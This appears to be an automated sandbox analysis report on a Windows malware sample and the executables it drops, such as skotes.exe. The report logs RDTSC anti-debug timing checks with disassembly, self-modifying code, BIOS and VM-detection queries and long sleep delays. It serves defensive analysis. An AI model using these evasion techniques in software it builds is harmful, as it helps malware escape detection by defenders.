Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54908DA second address: 54908E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54908E9 second address: 54908EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54908EF second address: 54908FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test eax, eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54908FD second address: 5490903 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490903 second address: 5490949 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jne 00007F162693ECF1h 0x0000000c pushad 0x0000000d mov di, si 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F15B4F0F8E8h 0x00000017 and ch, 00000038h 0x0000001a jmp 00007F15B4F0F8DBh 0x0000001f popfd 0x00000020 mov bx, si 0x00000023 popad 0x00000024 popad 0x00000025 sub eax, eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490949 second address: 549094F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549094F second address: 5490965 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15B4F0F8E2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490965 second address: 549098F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-20h], eax 0x0000000b jmp 00007F15B4B26167h 0x00000010 mov ebx, dword ptr [esi] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549098F second address: 54909AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54909AA second address: 5490A16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, dx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-24h], ebx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F15B4B26163h 0x00000013 sub eax, 137679CEh 0x00000019 jmp 00007F15B4B26169h 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007F15B4B26160h 0x00000025 and ax, 2A48h 0x0000002a jmp 00007F15B4B2615Bh 0x0000002f popfd 0x00000030 popad 0x00000031 test ebx, ebx 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490A16 second address: 5490A1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490A1A second address: 5490A20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480F0F second address: 5480F15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480F15 second address: 5480F19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 96F8EF second address: 96F914 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F15B4F0F8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F15B4F0F8E9h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 96F914 second address: 96F055 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B26165h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F15B4B26165h 0x00000010 nop 0x00000011 cld 0x00000012 push dword ptr [ebp+122D08E9h] 0x00000018 mov dword ptr [ebp+122D3D6Dh], eax 0x0000001e call dword ptr [ebp+122D317Eh] 0x00000024 pushad 0x00000025 clc 0x00000026 xor eax, eax 0x00000028 mov dword ptr [ebp+122D1E5Eh], edi 0x0000002e mov edx, dword ptr [esp+28h] 0x00000032 sub dword ptr [ebp+122D1E5Eh], esi 0x00000038 mov dword ptr [ebp+122D2FBBh], eax 0x0000003e pushad 0x0000003f jnp 00007F15B4B26167h 0x00000045 jbe 00007F15B4B26158h 0x0000004b popad 0x0000004c mov esi, 0000003Ch 0x00000051 mov dword ptr [ebp+122D2780h], edi 0x00000057 add esi, dword ptr [esp+24h] 0x0000005b pushad 0x0000005c mov edi, edx 0x0000005e popad 0x0000005f lodsw 0x00000061 jmp 00007F15B4B26163h 0x00000066 add eax, dword ptr [esp+24h] 0x0000006a jne 00007F15B4B26157h 0x00000070 mov ebx, dword ptr [esp+24h] 0x00000074 jmp 00007F15B4B26165h 0x00000079 nop 0x0000007a push eax 0x0000007b push edx 0x0000007c push edi 0x0000007d push ebx 0x0000007e pop ebx 0x0000007f pop edi 0x00000080 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 96F055 second address: 96F08D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F15B4F0F8E8h 0x00000008 jmp 00007F15B4F0F8E2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F15B4F0F8E7h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 96F08D second address: 96F097 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F15B4B26156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 96F097 second address: 96F0B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15B4F0F8E9h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: AD1B1F second address: AD1B23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C4C0A6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C748D1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C55A0C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B0C0A6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B348D1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B15A0C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Special instruction interceptor: First address: 567AE6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Special instruction interceptor: First address: 5679DA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Special instruction interceptor: First address: 733978 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Special instruction interceptor: First address: 79D48B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Special instruction interceptor: First address: 53CB25 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Special instruction interceptor: First address: 390086 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Special instruction interceptor: First address: 569B5B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Special instruction interceptor: First address: 392895 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Special instruction interceptor: First address: 5C93A6 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Memory allocated: 2530000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Memory allocated: 2700000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Memory allocated: 4700000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Memory allocated: 2BB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Memory allocated: 2D50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Memory allocated: 4D50000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_054F00F6 rdtsc

0_2_054F00F6

Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 901	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1166	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1104	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Window / User API: threadDelayed 3744
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Window / User API: threadDelayed 6071
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5517
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4283
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4673
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 559

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1018352001\85e92d03ea.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1018351001\e90a98cf1a.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Dropped PE file which has not been started: C:\iscwgalo\2f324f5b70a042e8a5bbc0f48d5c8a87.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1018350001\26539a5c18.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1012	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5676	Thread sleep count: 901 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5676	Thread sleep time: -1802901s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5800	Thread sleep count: 1166 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5800	Thread sleep time: -2333166s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2872	Thread sleep count: 327 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2872	Thread sleep time: -9810000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4480	Thread sleep count: 1104 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4480	Thread sleep time: -2209104s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5460	Thread sleep count: 51 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5460	Thread sleep time: -102051s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe TID: 3156	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe TID: 7352	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe TID: 7348	Thread sleep time: -90000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe TID: 7824	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -33204139332677172s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -99888s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -99780s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -99670s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -99561s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -99453s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -99343s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -99234s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -99124s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -99014s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -98904s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -98794s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -98686s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -98520s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -98390s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -98278s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -98170s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -98050s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -97921s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -97812s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -97702s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -97593s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -97481s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -97374s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -97264s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -97153s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -97045s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -96925s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -96796s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -96687s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -96577s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -96468s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -96359s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -96249s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -96139s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -96018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -95718s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -95546s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -95420s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -95312s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -95203s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -95093s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -94984s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -94875s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -94765s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -94655s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -94546s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -94436s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -94325s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe TID: 8112	Thread sleep time: -94206s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4048	Thread sleep count: 5517 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8124	Thread sleep count: 4283 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5052	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3796	Thread sleep count: 4673 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4088	Thread sleep count: 559 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7724	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3552	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 99888
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 99780
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 99670
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 99561
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 99453
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 99343
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 99234
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 99124
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 99014
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 98904
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 98794
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 98686
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 98520
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 98390
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 98278
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 98170
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 98050
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 97921
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 97812
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 97702
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 97593
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 97481
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 97374
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 97264
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 97153
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 97045
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 96925
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 96796
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 96687
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 96577
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 96468
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 96359
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 96249
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 96139
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 96018
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 95718
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 95546
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 95420
